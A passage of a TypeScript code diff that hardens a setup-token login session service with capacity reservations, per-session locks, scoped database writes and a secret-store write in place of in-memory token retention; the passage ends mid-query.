@@ -377,6 +554,9 @@ export function assessConfidentialStartup(config: ConfidentialTransportConfig):
   proxyForwardingEnabled: boolean;
   reason: string;
 } {
+  if (config.edgeTlsTerminated === true) {
+    return { proxyForwardingEnabled: true, reason: "edge_tls_termination_declared" };
+  }
   if (config.trustedProxies.length > 0) {
     return { proxyForwardingEnabled: true, reason: "proxy_allowlist_configured" };
   }
@@ -391,6 +571,22 @@ export function assessConfidentialStartup(config: ConfidentialTransportConfig):
 
 // --- The session service -----------------------------------------------------
 
+/**
+ * A synchronous capacity hold for the enforced caps. The service reserves the
+ * capacity for the slot and the company before the first `await` in
+ * {@link SetupTokenSessionService.start}, so two concurrent starts for one slot
+ * never both pass the cap. The service holds the reservation for the whole
+ * session lifetime and releases it exactly one time: on an early start failure or
+ * on the terminal cleanup. The `released` flag makes the release idempotent.
+ */
+interface CapReservation {
+  released: boolean;
+  companyId: string;
+  // The company, owner, and adapter slot key. The reservation counts one active
+  // session per slot, so it mirrors the database active-slot unique index.
+  slotKey: string;
+}
+
 interface StoredSession {
   id: string;
   scope: SetupTokenSessionScope;
@@ -402,15 +598,25 @@ interface StoredSession {
   // The full login URL. The service holds it in memory only and returns it only
   // through the authorized owner read response (SR-5).
   loginUrl: string | null;
-  // The minted token. The service holds it in memory only, from the credential
-  // sink until the authorized owner receives it one time or the retention window
-  // ends (SR-1, SR-4).
-  token: string | null;
+  // True after the owner-bound secret write succeeds. The service never holds the
+  // token: the credential sink writes it to the secret store and the service
+  // records only this non-secret marker.
+  secretStored: boolean;
   timer: ReturnType<typeof setTimeout> | null;
-  // The retention timer for a completed token. The service arms it after a
-  // successful login and clears it when the owner receives the token.
+  // The retention timer for a completed, stored session. The service arms it
+  // after a successful secret write and clears it when the owner reads the
+  // completion, so the in-memory session drops even if the owner never reads it.
   retentionTimer: ReturnType<typeof setTimeout> | null;
   cleanupDone: boolean;
+  // The per-session mutex tail. It serializes the owner-bound secret write
+  // against a cancel, an expiry, and the process-done transition, so a terminal
+  // transition and the write never interleave (complete mediation). The service
+  // holds this lock across the awaited secret write, so a cancel or an expiry
+  // that arrives during the write waits for the write to settle first.
+  lock: Promise<void>;
+  // The synchronous capacity hold for the enforced caps. The cleanup releases it
+  // exactly one time when the session reaches a terminal state.
+  reservation: CapReservation;
 }
 
 /** The public read view of a session prompt. */
@@ -420,10 +626,43 @@ export interface SetupTokenPromptView {
   loginUrl: string | null;
 }
 
+/**
+ * The owner descriptor of a session. The company-and-environment routes read it
+ * to build the response contract. It carries the immutable environment and the
+ * session deadline, plus the current state and the full login URL. The route
+ * projects it: the public status response drops the login URL; the owner prompt
+ * response returns the login URL through the confidential transport guard.
+ */
+export interface SetupTokenSessionDescriptor {
+  sessionId: string;
+  state: SetupTokenSessionState;
+  environmentId: string;
+  /** The session deadline in epoch milliseconds. */
+  deadline: number;
+  /** The full login URL, present only after the prompt surfaces. */
+  loginUrl: string | null;
+}
+
+/**
+ * The completion contract for the authorized owner. It carries the non-secret
+ * `storedSessionId` claim and no token. The `storedSessionId` is the
+ * durable session id; the agent-create transaction consumes it as the one-time
+ * stored-session claim.
+ */
+export interface SetupTokenCompletionView {
+  storedSessionId: string;
+}
+
 export interface SetupTokenSessionServiceOptions {
   factory: SetupTokenLoginProcessFactory;
   leases: SetupTokenLeaseManager;
   store: SetupTokenCleanupStore;
+  /**
+   * The owner-bound secret writer. The service awaits it one time when the login
+   * binds the token. It performs the compare-and-set. The service fails
+   * closed on a rejection.
+   */
+  completeCredential: SetupTokenSecretWriter;
   rateLimiter: SetupTokenRateLimiter;
   caps?: SetupTokenSessionCaps;
   ttlMs?: number;
@@ -447,9 +686,16 @@ function defaultSessionId(): string {
  */
 export class SetupTokenSessionService {
   private readonly sessions = new Map<string, StoredSession>();
+  // The live reservation counts per slot and per company. The start path reads
+  // and increments these synchronously before the first `await`, so the cap
+  // decision and the capacity hold are one atomic step on the event loop. The
+  // slot key is the company, the owner, and the adapter.
+  private readonly reservedBySlot = new Map<string, number>();
+  private readonly reservedByCompany = new Map<string, number>();
   private readonly factory: SetupTokenLoginProcessFactory;
   private readonly leases: SetupTokenLeaseManager;
   private readonly store: SetupTokenCleanupStore;
+  private readonly completeCredential: SetupTokenSecretWriter;
   private readonly rateLimiter: SetupTokenRateLimiter;
   private readonly caps: SetupTokenSessionCaps;
   private readonly ttlMs: number;
@@ -462,6 +708,7 @@ export class SetupTokenSessionService {
     this.factory = options.factory;
     this.leases = options.leases;
     this.store = options.store;
+    this.completeCredential = options.completeCredential;
     this.rateLimiter = options.rateLimiter;
     this.caps = options.caps ?? DEFAULT_SETUP_TOKEN_SESSION_CAPS;
     this.ttlMs = options.ttlMs ?? DEFAULT_SETUP_TOKEN_SESSION_TTL_MS;
@@ -471,6 +718,42 @@ export class SetupTokenSessionService {
     this.log = options.log ?? (() => {});
   }
 
+  /**
+   * Builds the durable-record identity for a session. The store matches every
+   * write on the company, the owner, the adapter, and the session id, so no write
+   * updates a row by the session id alone.
+   */
+  private identityOf(session: StoredSession): SetupTokenCleanupIdentity {
+    return {
+      sessionId: session.id,
+      companyId: session.scope.companyId,
+      ownerUserId: session.scope.ownerUserId,
+      adapterType: session.scope.adapterType,
+    };
+  }
+
+  /**
+   * Runs `fn` under the per-session lock. The lock serializes the owner-bound
+   * secret write against a cancel, an expiry, and the process-done transition, so
+   * a terminal transition and the write never interleave (complete mediation).
+   * The caller inside `fn` must not call another locked method, or it deadlocks;
+   * the failure path of {@link onCredential} calls {@link terminateLocked}, the
+   * lock-free variant, for this reason.
+   */
+  private async withSessionLock<T>(session: StoredSession, fn: () => Promise<T>): Promise<T> {
+    const prior = session.lock;
+    let release: () => void = () => {};
+    session.lock = new Promise<void>((resolve) => {
+      release = resolve;
+    });
+    await prior;
+    try {
+      return await fn();
+    } finally {
+      release();
+    }
+  }
+
   private countActive(predicate: (session: StoredSession) => boolean): number {
     let count = 0;
     for (const session of this.sessions.values()) {
@@ -479,6 +762,67 @@ export class SetupTokenSessionService {
     return count;
   }
 
+  private static incrementCount(counts: Map<string, number>, key: string): void {
+    counts.set(key, (counts.get(key) ?? 0) + 1);
+  }
+
+  private static decrementCount(counts: Map<string, number>, key: string): void {
+    const next = (counts.get(key) ?? 0) - 1;
+    if (next > 0) {
+      counts.set(key, next);
+    } else {
+      counts.delete(key);
+    }
+  }
+
+  /** Builds the company, owner, and adapter slot key. The reservation and the
+   *  database active-slot unique index share this identity. */
+  private static slotKey(
+    scope: Pick<SetupTokenSessionScope, "companyId" | "ownerUserId" | "adapterType">,
+  ): string {
+    return [scope.companyId, scope.ownerUserId, scope.adapterType].join("\u0000");
+  }
+
+  /**
+   * Reserves the capacity for one start under every enforced cap. The method is
+   * synchronous, so it runs to completion before the first `await` in
+   * {@link start}. Two concurrent starts for one slot cannot interleave inside
+   * it: the first reserves the slot, and the second reads the incremented count
+   * and fails closed with the fixed 429 cap error. The method holds the per-slot
+   * and per-company semantics; the slot is the company, the owner, and the
+   * adapter. It increments no counter on a rejection, so a rejected start
+   * reserves nothing.
+   */
+  private reserveCapacity(scope: SetupTokenSessionScope): CapReservation {
+    const slotKey = SetupTokenSessionService.slotKey(scope);
+    if ((this.reservedBySlot.get(slotKey) ?? 0) >= this.caps.perOwner) {
+      throw new SetupTokenSessionError(429, SETUP_TOKEN_CAP_EXCEEDED);
+    }
+    if ((this.reservedByCompany.get(scope.companyId) ?? 0) >= this.caps.perCompany) {
+      throw new SetupTokenSessionError(429, SETUP_TOKEN_CAP_EXCEEDED);
+    }
+    SetupTokenSessionService.incrementCount(this.reservedBySlot, slotKey);
+    SetupTokenSessionService.incrementCount(this.reservedByCompany, scope.companyId);
+    return {
+      released: false,
+      companyId: scope.companyId,
+      slotKey,
+    };
+  }
+
+  /**
+   * Releases a capacity reservation exactly one time. The `released` flag makes
+   * the release idempotent, so an early start failure and the terminal cleanup
+   * never double-release one reservation. The method decrements the same counters
+   * that {@link reserveCapacity} incremented.
+   */
+  private releaseReservation(reservation: CapReservation): void {
+    if (reservation.released) return;
+    reservation.released = true;
+    SetupTokenSessionService.decrementCount(this.reservedBySlot, reservation.slotKey);
+    SetupTokenSessionService.decrementCount(this.reservedByCompany, reservation.companyId);
+  }
+
   /**
    * Starts a login session. It rate-limits the start, enforces the caps,
    * acquires the lease with an external expiry no later than the deadline,
@@ -490,29 +834,45 @@ export class SetupTokenSessionService {
     if (!rate.allowed) {
       throw new SetupTokenSessionError(429, SETUP_TOKEN_RATE_LIMITED);
     }
-    if (this.countActive((s) => s.scope.ownerUserId === scope.ownerUserId) >= this.caps.perOwner) {
-      throw new SetupTokenSessionError(429, SETUP_TOKEN_CAP_EXCEEDED);
-    }
-    if (this.countActive((s) => s.scope.targetAgentId === scope.targetAgentId) >= this.caps.perAgent) {
-      throw new SetupTokenSessionError(429, SETUP_TOKEN_CAP_EXCEEDED);
-    }
-    if (this.countActive((s) => s.scope.companyId === scope.companyId) >= this.caps.perCompany) {
-      throw new SetupTokenSessionError(429, SETUP_TOKEN_CAP_EXCEEDED);
-    }
+    // Reserve the capacity synchronously before the first `await`. This closes
+    // the time-of-check/time-of-use window: the lease acquire, the durable write,
+    // and the factory creation all run after the reservation, so two concurrent
+    // starts for one owner cannot both pass the cap. The service releases the
+    // reservation on every early failure below and on the terminal cleanup.
+    const reservation = this.reserveCapacity(scope);
 
     const sessionId = this.generateSessionId();
     const deadline = this.now() + this.ttlMs;
-    const lease = await this.leases.acquire({ scope, deadline });
 
-    await this.store.record({
-      sessionId,
-      companyId: scope.companyId,
-      ownerUserId: scope.ownerUserId,
-      targetAgentId: scope.targetAgentId,
-      leaseId: lease.id,
-      deadline,
-      state: "starting",
-    });
+    let lease: SetupTokenLease;
+    try {
+      lease = await this.leases.acquire({ scope, deadline });
+    } catch (error) {
+      // The lease acquire failed before any durable state exists. Roll back the
+      // reservation and rethrow the original error.
+      this.releaseReservation(reservation);
+      throw error;
+    }
+
+    try {
+      await this.store.record({
+        sessionId,
+        companyId: scope.companyId,
+        ownerUserId: scope.ownerUserId,
+        adapterType: scope.adapterType,
+        environmentId: scope.environmentId,
+        leaseId: lease.id,
+        deadline,
+        state: "starting",
+        boundAt: null,
+      });
+    } catch (error) {
+      // The durable write failed, so no record exists for the reaper to read.
+      // Release the lease at once, roll back the reservation, and rethrow.
+      await this.releaseLeaseSafely(lease);
+      this.releaseReservation(reservation);
+      throw error;
+    }
 
     const abort = new AbortController();
     const session: StoredSession = {
@@ -525,10 +885,12 @@ export class SetupTokenSessionService {
       process: undefined as unknown as SetupTokenLoginProcess,
       abort,
       loginUrl: null,
-      token: null,
+      secretStored: false,
       timer: null,
       retentionTimer: null,
       cleanupDone: false,
+      lock: Promise.resolve(),
+      reservation,
     };
 
     let process: SetupTokenLoginProcess;
@@ -541,10 +903,19 @@ export class SetupTokenSessionService {
         signal: abort.signal,
       });
     } catch {
-      // The factory could not start the process. Release the lease and drop the
-      // durable record, then return a fixed, non-secret error.
+      // The factory could not start the process. Release the lease, drop the
+      // durable record, roll back the reservation, then return a fixed,
+      // non-secret error.
       await this.releaseLeaseSafely(lease);
-      await this.store.remove(sessionId).catch(() => {});
+      await this.store
+        .remove({
+          sessionId,
+          companyId: scope.companyId,
+          ownerUserId: scope.ownerUserId,
+          adapterType: scope.adapterType,
+        })
+        .catch(() => {});
+      this.releaseReservation(reservation);
       throw new SetupTokenSessionError(503, SETUP_TOKEN_START_FAILED);
     }
 
@@ -571,26 +942,74 @@ export class SetupTokenSessionService {
     session.loginUrl = prompt.url;
     if (session.state === "starting") {
       session.state = "awaiting_code";
-      void this.store.markState(session.id, "awaiting_code").catch(() => {});
+      void this.store.markState(this.identityOf(session), "awaiting_code").catch(() => {});
     }
   }
 
   /**
-   * Receives the minted token from the login process. The service holds the
-   * token in memory only, until the authorized owner receives it one time or the
-   * retention window ends. It never logs the token (SR-1). It ignores a token
-   * that arrives after a non-success terminal state.
+   * Receives the minted token from the login process and writes it to the
+   * owner-bound secret. The service awaits the compare-and-set. The
+   * service never stores the token: it passes the token to the writer, then it
+   * drops the reference.
+   *
+   * The service runs the whole sink under the per-session lock, so a cancel or an
+   * expiry cannot interleave with the write. A cancel or an expiry that wins the
+   * lock first sets a terminal state; the service then writes no secret and fails
+   * closed with the fixed, non-secret error. This is complete mediation: a
+   * terminal session never commits a secret write.
+   *
+   * The writer runs one control-plane transaction. Inside it, the writer first
+   * transitions the exact durable row to `stored` with a full-scope conditional
+   * update, then writes or rotates the secret on the same transaction handle. The
+   * commit establishes the encrypted secret and the `stored` claim together, so a
+   * crash between the two steps cannot leave a stored token with no valid claim.
+   * The service does not mark the durable row separately; the writer owns the
+   * transition.
+   *
+   * On a successful write the service records the non-secret `secretStored`
+   * marker. The process outcome then moves the session to `completed`. A cancel or
+   * an expiry that arrives after the write committed sees the `secretStored`
+   * marker and reports the completed state; it does not erase the claim (see
+   * {@link terminateLocked}).
+   *
+   * On a zero-row transition or on a storage failure the writer rolls back the
+   * whole transaction and rejects. The service then fails closed: it moves the
+   * session to `failed`, keeps no secret and no claim, and rejects with a fixed,
+   * non-secret error. The factory (or the runner it wraps) awaits this sink, so
+   * the rejection ends the login as a failure and the process never reports
+   * success.
    */
-  private onCredential(session: StoredSession, token: string): void {
-    if (isTerminalSessionState(session.state) && session.state !== "completed") return;
-    session.token = token;
+  private async onCredential(session: StoredSession, token: string): Promise<void> {
+    await this.withSessionLock(session, async () => {
+      // A cancel or an expiry won the lock first and set a terminal state. Do not
+      // write the secret for a terminal session. Fail closed with the fixed,
+      // non-secret error, so the runner ends the run as a failure.
+      if (isTerminalSessionState(session.state)) {
+        throw new SetupTokenSessionError(500, SETUP_TOKEN_STORAGE_FAILED);
+      }
+      try {
+        // The writer transitions the durable row to `stored` and writes the
+        // secret in one transaction. A zero-row transition or a storage failure
+        // rejects and rolls back both.
+        await this.completeCredential({ scope: session.scope, sessionId: session.id, token });
+      } catch {
+        await this.terminateLocked(session, "failed");
+        throw new SetupTokenSessionError(500, SETUP_TOKEN_STORAGE_FAILED);
+      }
+      // The transaction committed while the service held the lock, so a cancel or
+      // an expiry could not interleave. Record the non-secret marker. The durable
+      // row is already `stored` from the committed transition.
+      session.secretStored = true;
+    });
   }
 
   /**
    * Resolves a session for an operation. It returns the session only when the
-   * id exists and the stored scope equals the caller scope in all three fields.
-   * A missing session and a cross-scope session both throw the same not-found
-   * error, so a caller cannot tell them apart (SR-3).
+   * id exists and the stored scope equals the caller scope in all three identity
+   * fields: the company, the owner, and the adapter. A missing session and a
+   * cross-scope session both throw the same not-found error, so a caller cannot
+   * tell them apart. The scope match makes a cross-company, a cross-owner, and a
+   * cross-adapter session return the same not-found error as a missing session.
    */
   private resolveOwned(sessionId: string, scope: SetupTokenSessionScope): StoredSession {
     const session = this.sessions.get(sessionId);
@@ -598,13 +1017,60 @@ export class SetupTokenSessionService {
       !session ||
       session.scope.companyId !== scope.companyId ||
       session.scope.ownerUserId !== scope.ownerUserId ||
-      session.scope.targetAgentId !== scope.targetAgentId
+      session.scope.adapterType !== scope.adapterType
     ) {
       throw new SetupTokenSessionError(404, SETUP_TOKEN_SESSION_NOT_FOUND);
     }
     return session;
   }
 
+  /**
+   * Resolves the immutable scope of a company-and-environment session. The
+   * caller provides the company, the owner, and the adapter it derived from the
+   * request; the route path gives the company, the actor gives the owner, and
+   * the route fixes the adapter. The lookup matches these three fields, then
+   * returns the full scope, including the intrinsic environment.
+   *
+   * A caller never supplies the environment on a read, a submit, a cancel, or a
+   * completion. The environment is intrinsic to the session, so a foreign
+   * environment cannot address the session. A missing session and a
+   * cross-company, cross-owner, or cross-adapter session all throw the same
+   * not-found error.
+   */
+  resolveCompanyScope(
+    sessionId: string,
+    key: { companyId: string; ownerUserId: string; adapterType: string },
+  ): SetupTokenSessionScope {
+    const session = this.sessions.get(sessionId);
+    if (
+      !session ||
+      session.scope.companyId !== key.companyId ||
+      session.scope.ownerUserId !== key.ownerUserId ||
+      session.scope.adapterType !== key.adapterType
+    ) {
+      throw new SetupTokenSessionError(404, SETUP_TOKEN_SESSION_NOT_FOUND);
+    }
+    return session.scope;
+  }
+
+  /**
+   * Returns the owner descriptor for a session. The company-and-environment
+   * routes read it to build the response contract. The scope check runs first,
+   * so a cross-scope caller gets the same not-found error. The route
+   * projects the descriptor: the public status response drops the login URL; the
+   * owner prompt response returns the login URL behind the transport guard.
+   */
+  describeOwned(sessionId: string, scope: SetupTokenSessionScope): SetupTokenSessionDescriptor {
+    const session = this.resolveOwned(sessionId, scope);
+    return {
+      sessionId: session.id,
+      state: session.state,
+      environmentId: session.scope.environmentId,
+      deadline: session.deadline,
+      loginUrl: session.loginUrl,
+    };
+  }
+
   /**
    * Returns the prompt view for the authorized owner. The full login URL rides
    * only in this response (SR-5). The route sets `Cache-Control: no-store` and
@@ -627,7 +1093,7 @@ export class SetupTokenSessionService {
       throw new SetupTokenSessionError(409, SETUP_TOKEN_SUBMIT_CONFLICT);
     }
     session.state = "submitting";
-    void this.store.markState(session.id, "submitting").catch(() => {});
+    void this.store.markState(this.identityOf(session), "submitting").catch(() => {});
     session.process.submitCode(code);
     return { state: session.state };
   }
@@ -666,62 +1132,81 @@ export class SetupTokenSessionService {
   }
 
   /**
-   * Returns the token for the authorized owner one time. The service returns the
-   * token only from a completed session that still holds it. It clears the token
-   * and drops the retained session at once, so a second receive returns the same
-   * not-found error as a missing session. It returns the fixed unavailable error
-   * when the token is not ready or the owner already received it. The route
-   * applies the confidential transport guard and sets `Cache-Control: no-store`
-   * before it calls this method.
+   * Returns the completion contract for the authorized owner. It returns the
+   * non-secret `storedSessionId` claim only from a completed session whose
+   * owner-bound secret write succeeded. It returns no token. It
+   * returns the fixed unavailable error when the session is not completed with a
+   * stored secret. The scope check runs first, so a cross-scope caller gets the
+   * same not-found error, not the unavailable error.
+   *
+   * The read leaves the durable row in place as the one-time stored-session
+   * claim; the agent-create transaction consumes it. The route sets
+   * `Cache-Control: no-store` before it calls this method.
    */
-  receiveToken(sessionId: string, scope: SetupTokenSessionScope): { token: string } {
-    // The scope check still runs, so a cross-scope caller gets the same
-    // not-found error, not the unavailable error.
+  completeSession(sessionId: string, scope: SetupTokenSessionScope): SetupTokenCompletionView {
     const session = this.resolveOwned(sessionId, scope);
-    if (session.state !== "completed" || session.token === null) {
+    if (session.state !== "completed" || !session.secretStored) {
       throw new SetupTokenSessionError(409, SETUP_TOKEN_TOKEN_UNAVAILABLE);
     }
-    const token = session.token;
-    // One-shot delivery: clear the token and drop the retained session, so the
-    // service never returns the token a second time (SR-1).
-    this.purgeRetained(session.id);
-    return { token };
+    return { storedSessionId: session.id };
   }
 
   /**
-   * Stops the direct child, then runs the idempotent cleanup. The order stops
-   * the child before the lease release on every terminal path (SR-4).
+   * Stops the direct child, then runs the idempotent cleanup under the
+   * per-session lock. The lock serializes the terminal transition against the
+   * owner-bound secret write, so a cancel or an expiry never interleaves with the
+   * write (complete mediation). The order stops the child before the lease
+   * release on every terminal path.
    */
   private async terminate(session: StoredSession, state: SetupTokenSessionState): Promise<void> {
+    await this.withSessionLock(session, () => this.terminateLocked(session, state));
+  }
+
+  /**
+   * The lock-free terminal transition. The caller must already hold the
+   * per-session lock. The failure path of {@link onCredential} calls it directly,
+   * because that path already holds the lock.
+   *
+   * If the owner-bound secret write already committed, the delivery won the
+   * serialized ordering. The service completes the session and keeps the stored
+   * claim; it does not cancel, expire, or erase the claim. This makes the
+   * terminal API report the completed state after a successful write, rather than
+   * erase it.
+   */
+  private async terminateLocked(session: StoredSession, state: SetupTokenSessionState): Promise<void> {
     if (isTerminalSessionState(session.state)) return;
-    session.state = state;
+    const resolved: SetupTokenSessionState = session.secretStored ? "completed" : state;
+    session.state = resolved;
     session.abort.abort();
     try {
       session.process.stop();
     } catch {
       this.log("[paperclip] Setup-token session: the process stop step errored.");
     }
-    await this.runCleanup(session, state);
+    await this.runCleanup(session, resolved);
   }
 
   /**
-   * Maps the live process outcome to the terminal state and runs the cleanup.
-   * A cancel or an expire already set the state, so this call is a no-op then.
+   * Maps the live process outcome to the terminal state and runs the cleanup
+   * under the per-session lock. A cancel or an expire already set the state, so
+   * this call is a no-op then.
    */
   private async onProcessDone(session: StoredSession, outcome: SetupTokenLoginOutcome): Promise<void> {
-    if (isTerminalSessionState(session.state) && session.cleanupDone) return;
-    const state: SetupTokenSessionState =
-      outcome === "success"
-        ? "completed"
-        : outcome === "timeout"
-        ? "timed_out"
-        : outcome === "cancelled"
-        ? "cancelled"
-        : "failed";
-    if (!isTerminalSessionState(session.state)) {
-      session.state = state;
-    }
-    await this.runCleanup(session, session.state);
+    await this.withSessionLock(session, async () => {
+      if (isTerminalSessionState(session.state) && session.cleanupDone) return;
+      const state: SetupTokenSessionState =
+        outcome === "success"
+          ? "completed"
+          : outcome === "timeout"
+          ? "timed_out"
+          : outcome === "cancelled"
+          ? "cancelled"
+          : "failed";
+      if (!isTerminalSessionState(session.state)) {
+        session.state = state;
+      }
+      await this.runCleanup(session, session.state);
+    });
   }
 
   /**
@@ -730,50 +1215,58 @@ export class SetupTokenSessionService {
    * session. It clears the in-memory login URL reference promptly (SR-3, SR-5).
    * A cleanup failure stays retryable and records no process output (SR-4).
    *
-   * A completed session that still holds a token stays in memory until the
-   * authorized owner receives it one time or the retention window ends. The
-   * cleanup still releases the sandbox lease at once; it only holds the token in
-   * memory, not the sandbox (SR-4).
+   * A completed session with a stored secret keeps its durable row as the
+   * one-time stored-session claim: the cleanup marks no terminal state and does
+   * not remove the row. The agent-create transaction consumes the claim, or the
+   * reaper removes the row after the deadline. The cleanup still releases the
+   * sandbox lease at once. It retains the in-memory session for the retention
+   * window, so the owner can read the completion once.
    */
   private async runCleanup(session: StoredSession, state: SetupTokenSessionState): Promise<void> {
     if (session.cleanupDone) return;
     session.cleanupDone = true;
+    // Release the capacity reservation as the session reaches a terminal state.
+    // A terminal session no longer counts against a cap, so the owner regains the
+    // slot at once, even while a completed session lingers for the retention read.
+    this.releaseReservation(session.reservation);
     if (session.timer) {
       clearTimeout(session.timer);
       session.timer = null;
     }
     // Clear the secret-bearing reference promptly. Best-effort only (SR-5).
     session.loginUrl = null;
-    try {
-      await this.store.markState(session.id, state);
-    } catch {
-      this.log("[paperclip] Setup-token session: the cleanup record update failed; it stays retryable.");
+    const storedClaim = state === "completed" && session.secretStored;
+    if (!storedClaim) {
+      try {
+        await this.store.markState(this.identityOf(session), state);
+      } catch {
+        this.log("[paperclip] Setup-token session: the cleanup record update failed; it stays retryable.");
+      }
     }
     await this.releaseLeaseSafely(session.lease);
-    try {
-      await this.store.remove(session.id);
-    } catch {
-      this.log("[paperclip] Setup-token session: the cleanup record removal failed; it stays retryable.");
-    }
-    if (state === "completed" && session.token !== null) {
-      // Retain the token in memory for the owner to receive it one time. The
-      // retention timer purges it if the owner never receives it (SR-4).
+    if (storedClaim) {
+      // Keep the durable row as the stored-session claim. Retain the in-memory
+      // session for the owner to read the completion one time.
       session.retentionTimer = setTimeout(() => this.purgeRetained(session.id), this.tokenRetentionMs);
       if (typeof session.retentionTimer.unref === "function") session.retentionTimer.unref();
       return;
     }
+    try {
+      await this.store.remove(this.identityOf(session));
+    } catch {
+      this.log("[paperclip] Setup-token session: the cleanup record removal failed; it stays retryable.");
+    }
     this.sessions.delete(session.id);
   }
 
   /**
-   * Purges a retained completed session. It clears the token reference, clears
-   * the retention timer, and drops the in-memory session. The owner receive path
-   * and the retention timer both call it (SR-1, SR-4).
+   * Purges a retained completed session from memory. It clears the retention
+   * timer and drops the in-memory session. The durable stored-session claim
+   * stays in the store for the create flow or the reaper.
    */
   private purgeRetained(sessionId: string): void {
     const session = this.sessions.get(sessionId);
     if (!session) return;
-    session.token = null;
     if (session.retentionTimer) {
       clearTimeout(session.retentionTimer);
       session.retentionTimer = null;
@@ -795,23 +1288,11 @@ export class SetupTokenSessionService {
    * The startup reaper. It reads the durable store and releases any lease whose
    * session is terminal or past its deadline. It runs after a restart, so it
    * frees a lease that a crash left behind (SR-4). A release failure stays
-   * retryable: the reaper leaves the record for a later run.
+   * retryable: the reaper leaves the record for a later run. The standalone
+   * scheduled reaper calls the same {@link reapSetupTokenLeases} logic.
    */
-  async reap(now: number = this.now()): Promise<{ released: number; failed: number }> {
-    const records = await this.store.listReapable(now);
-    let released = 0;
-    let failed = 0;
-    for (const record of records) {
-      try {
-        await this.leases.releaseById(record.leaseId);
-        await this.store.remove(record.sessionId);
-        released += 1;
-      } catch {
-        failed += 1;
-        this.log("[paperclip] Setup-token reaper: a lease release failed; it stays retryable.");
-      }
-    }
-    return { released, failed };
+  async reap(now: number = this.now()): Promise<SetupTokenReapResult> {
+    return reapSetupTokenLeases({ store: this.store, leases: this.leases, log: this.log }, now);
   }
 
   /**
@@ -830,3 +1311,181 @@ export class SetupTokenSessionService {
     return this.countActive(() => true);
   }
 }
+
+// --- The durable, database-backed cleanup store ------------------------------
+//
+// The store reads and writes the unified `adapter_auth_sessions` table. It maps
+// the setup-token record fields to the unified columns:
+//   - `sessionId`    -> `public_session_id`
+//   - `ownerUserId`  -> `started_by_user_id`
+//   - `leaseId`      -> `provider_lease_id`
+//   - `state`        -> `status`
+//   - `deadline`     -> `expires_at`
+// The table also holds the Codex device-login rows, so every scan filters by the
+// setup-token adapter to reach only the setup-token rows.
+
+type AdapterAuthSessionRow = typeof adapterAuthSessions.$inferSelect;
+
+/** Maps a database row to the non-secret cleanup record. */
+function toCleanupRecord(row: AdapterAuthSessionRow): SetupTokenCleanupRecord {
+  return {
+    sessionId: row.publicSessionId,
+    companyId: row.companyId,
+    ownerUserId: row.startedByUserId,
+    adapterType: row.adapterType,
+    environmentId: row.environmentId,
+    leaseId: row.providerLeaseId ?? "",
+    // The setup-token flow always writes an expiry, so a null value means a
+    // corrupt row. Treat it as already expired, so the reaper reclaims it.
+    deadline: row.expiresAt ? row.expiresAt.getTime() : 0,
+    state: row.status as SetupTokenSessionState,
+    boundAt: row.boundAt ? row.boundAt.getTime() : null,
+  };
+}
+
+/**
+ * The database scope predicate. It matches the company, the owner, the adapter,
+ * and the public session id, so no write ever addresses a row by the session id
+ * alone. The `company_id` and `started_by_user_id` terms hold the server-scoped
+ * lookup: a query never keys on the public session id alone.
+ */
+function setupTokenScopeMatch(identity: SetupTokenCleanupIdentity) {
+  return and(
+    eq(adapterAuthSessions.publicSessionId, identity.sessionId),
+    eq(adapterAuthSessions.companyId, identity.companyId),
+    eq(adapterAuthSessions.startedByUserId, identity.ownerUserId),
+    eq(adapterAuthSessions.adapterType, identity.adapterType as AgentAdapterType),
+  );
+}
+
+/**
+ * The live pre-`stored` states a session may hold when the credential arrives.
+ * The atomic claim writer transitions a row to `stored` only from one of these
+ * states. It never transitions a terminal, an already-`stored`, or a foreign row.
+ */
+export const SETUP_TOKEN_STORED_PREDECESSOR_STATES: readonly SetupTokenSessionState[] = [
+  "starting",
+  "awaiting_code",
+  "submitting",
+];
+
+/**
+ * Transitions the exact session row to `stored` with one conditional update. The
+ * predicate matches the full owner scope and the session id, an allowed
+ * predecessor state, an unexpired deadline against `clock_timestamp()`, and an
+ * unconsumed `bound_at`. It uses `UPDATE … RETURNING` and returns true only when
+ * exactly one row transitions.
+ *
+ * The atomic claim writer runs this update on the same transaction handle as the
+ * secret write, so the commit establishes the `stored` claim and the encrypted
+ * secret together. A zero-row result rolls back the whole transaction, so a
+ * stale, expired, terminal, foreign-scope, or already-bound row writes no
+ * secret.
+ */
+export async function transitionSetupTokenSessionToStored(
+  executor: Db,
+  identity: SetupTokenCleanupIdentity,
+): Promise<boolean> {
+  const changed = await executor
+    .update(adapterAuthSessions)
+    .set({ status: "stored", updatedAt: sql`clock_timestamp()` })
+    .where(
+      and(
+        setupTokenScopeMatch(identity),
+        inArray(adapterAuthSessions.status, [...SETUP_TOKEN_STORED_PREDECESSOR_STATES]),
+        gt(adapterAuthSessions.expiresAt, sql`clock_timestamp()`),
+        isNull(adapterAuthSessions.boundAt),
+      ),
+    )
+    .returning();
+  return changed.length === 1;
+}
+
+/**
+ * Builds the durable, database-backed cleanup store. It persists only the
+ * non-secret record. Every write matches the full owner scope and the session
+ * id, so no write updates a row by the session id alone. The
+ * claim-consumption write folds the state check, the deadline check, and the
+ * consumption into one conditional write.
+ */
+export function createDbSetupTokenCleanupStore(db: Db): SetupTokenCleanupStore {
+  // The store keys every scoped write on the full owner scope plus the session id.
+  const scopeMatch = setupTokenScopeMatch;
+
+  return {
+    async record(record): Promise<void> {
+      // The database generates `id`. The store fills `public_session_id` with the
+      // service session id, which the service builds from a CSPRNG at start.
+      await db.insert(adapterAuthSessions).values({
+        companyId: record.companyId,
+        environmentId: record.environmentId,
+        adapterType: record.adapterType as AgentAdapterType,
+        startedByUserId: record.ownerUserId,
+        publicSessionId: record.sessionId,
+        providerLeaseId: record.leaseId,
+        status: record.state,
+        expiresAt: new Date(record.deadline),
+        boundAt: record.boundAt === null ? null : new Date(record.boundAt),
+      });
+    },
+
+    async markState(identity, state): Promise<void> {
+      // The compare-and-set predicate matches the company, the owner, and the
+      // adapter, so a write never updates a row by the session id alone.
+      await db
+        .update(adapterAuthSessions)
+        .set({ status: state, updatedAt: sql`clock_timestamp()` })
+        .where(scopeMatch(identity));
+    },
+
+    async remove(identity): Promise<void> {
+      // The delete matches the company, the owner, and the adapter, so it never
+      // removes a row by the session id alone.
+      await db.delete(adapterAuthSessions).where(scopeMatch(identity));
+    },
+
+    async listReapable(now): Promise<SetupTokenCleanupRecord[]> {
+      // A record is reapable when its session is terminal, its deadline is past,
+      // or its claim is already consumed. The scan filters by the setup-token
+      // adapter, so it never reaps a Codex device-login row on the shared table.
+      // The deadline index supports the scan.
+      const rows = await db
+        .select()
